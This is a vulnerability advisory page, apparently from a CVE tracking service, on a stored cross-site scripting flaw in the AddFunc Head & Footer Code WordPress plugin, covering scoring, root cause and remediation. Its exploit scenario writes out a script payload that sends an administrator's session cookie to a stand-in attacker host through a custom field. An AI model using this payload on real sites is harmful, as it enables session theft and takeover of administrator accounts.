Skip to main content

Addfunc Head Footer Code EUVDEUVD-2026-21288

| CVE-2026-2305 MEDIUM
Cross-site Scripting (XSS) (CWE-79)
2026-04-10 Wordfence
6.4
CVSS 3.1 · NVD
View

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Output encoding, context-aware escaping
MITRE ATT&CK

2 techniques across 2 tactics: Initial Access, Execution

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Impact

CVSS 6.4 (Medium) with vector AV:N/AC:L/PR:L/UI:N/S:C reflects the attack surface accurately: the attack is network-based with low complexity, requires Contributor authentication (PR:L), no user interaction needed (UI:N), and has cross-site scope impact (S:C). However, real-world risk is contextual. Exploitation requires: (1) a WordPress site using this plugin (versions ≤2.3), (2) an attacker with Contributor role or higher (not trivial on secured sites, common on multi-author blogs), and (3) an administrator who previews/views the post (administrative action, not automatic). The vulnerability is persistent (stored XSS) and does not require the attacker to be present when the script executes, increasing practical impact. The lack of user interaction (UI:N) is correct because once injected, the script fires automatically when an admin views the post. This is not a zero-click scenario for the victim-admins must actively preview content-but it is a deterministic attack on administrative users. Given the Contributor-level requirement, this is a privilege escalation + XSS combination rather than a direct unauthenticated compromise. The vulnerability is credible and should be prioritized on sites with multiple user accounts or open registrations, particularly where post preview is part of editorial workflow. EPSS score not provided, but reputational/compliance impact could be higher than the CVSS suggests if the injected scripts perform account takeover or sensitive data exfiltration.

Exploit ScenarioDerived

A malicious Contributor on a WordPress blog (e.g., guest author, former employee account) uses the WordPress post editor to create a draft post. Instead of editing the post content, they open the Custom Fields panel and add a new custom field named aFhfc_head_code with value <script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>. The script is stored in the database. When the site administrator previews or views the post to approve it, the injected script executes in the administrator's browser context, exfiltrating their session cookie to the attacker. The Contributor never needs an admin account-the vulnerability is a stored escalation of their limited privileges. No public exploit code is required; the attack is executed through the standard WordPress UI.

This Month Plan within 30 days. Why: MEDIUM severity (CVSS 4.0-6.9).
No patch listed yet 0.0% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – Apr 10, 2026

Stored cross-site scripting (XSS) in AddFunc Head & Footer Code plugin for WordPress versions up to 2.3 allows authenticated attackers with Contributor-level access to inject arbitrary JavaScript via custom post meta fields that execute when administrators preview or view posts. The vulnerability exists because the plugin outputs user-supplied code from aFhfc_head_code, aFhfc_body_code, and aFhfc_footer_code meta values without sanitization or escaping, and fails to restrict meta key access via WordPress register_meta() authentication callbacks despite restricting its own admin interface. No public exploit code or active exploitation has been confirmed at time of analysis.

RemediationAI

Update AddFunc Head & Footer Code plugin to version 2.4 or later, which implements proper sanitization and escaping of post meta values, and applies register_meta() with auth callbacks to restrict meta key access. Administrators should immediately update via the WordPress plugin dashboard (Plugins → Updates). For sites unable to immediately update, the temporary workaround is to restrict Contributor-level access: disable post authorship for non-administrators, enforce Editor-level minimum for post creation, or disable the custom fields metabox for non-admin roles via WordPress capability management. Additionally, administrators should audit post meta for existing injected scripts by reviewing aFhfc_head_code, aFhfc_body_code, and aFhfc_footer_code values in the postmeta table. Wordfence provides detailed vulnerability intelligence at https://www.wordfence.com/threat-intel/vulnerabilities/id/2f2d1a67-1d9b-4b73-988e-085eaa7474c6.

Affected VersionsENISA

AddFunc Head & Footer Code 0 ≤2.3

Affected Packages

euvd addfunc_head_footer_code no fix

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 1 package in euvd

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

The AddFunc Head & Footer Code WordPress plugin is designed to allow code injection into post head, body, and footer sections. The vulnerability stems from improper handling of WordPress post meta (custom fields) which store user-supplied HTML/JavaScript code. The plugin's admin metabox correctly uses current_user_can('manage_options') to restrict writes through its own interface, but this control does not extend to direct post meta manipulation via WordPress's custom fields REST API or database access. The root cause is failure to implement register_meta() with an auth_callback parameter, which would enforce capability checks at the meta key level across all access vectors. The vulnerable code directly echoes meta values (lines 63, 74, 85 in version 2.3) without applying wp_kses_post(), esc_html(), or similar sanitization functions. WordPress custom fields with Contributor-level access become a privilege escalation vector: Contributors can modify post meta through the standard WordPress interface, and their injected scripts execute with administrator-level context during post preview/viewing.

Know when Addfunc Head Footer Code gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

NVD PRIMARY 6.4 MEDIUM
AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N

Primary rating from NVD · only source for this CVE.

CVSS VectorNVD

Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
Changed
Confidentiality
Low
Integrity
Low
Availability
None

DescriptionCVE.org

The AddFunc Head & Footer Code plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the aFhfc_head_code, aFhfc_body_code, and aFhfc_footer_code post meta values in all versions up to, and including, 2.3. This is due to the plugin outputting these meta values without any sanitization or escaping. While the plugin restricts its own metabox and save handler to administrators via current_user_can('manage_options'), it does not use register_meta() with an auth_callback to protect these meta keys. This makes it possible for authenticated attackers, with Contributor-level access and above, to inject arbitrary web scripts via the WordPress Custom Fields interface that execute when an administrator previews or views the post.

Threat Intelligence Overview

EPSS Score
0.0%
Top 87% exploitable
Data Quality
5 sources
Confidence: Medium

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity MEDIUM
CISA KEV No
Public POC No
EPSS 0.0%
Patch available No
Active threat No
Deciding rule
MEDIUM severity (CVSS 4.0-6.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision· derived
Scheduled
Exploitation
None
System Exposure· derived
Open
Automatable
No
Human Impact· derived
Medium
Technical Impact
Partial

Priority Score

32
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +32
PoC: 0
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding.

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy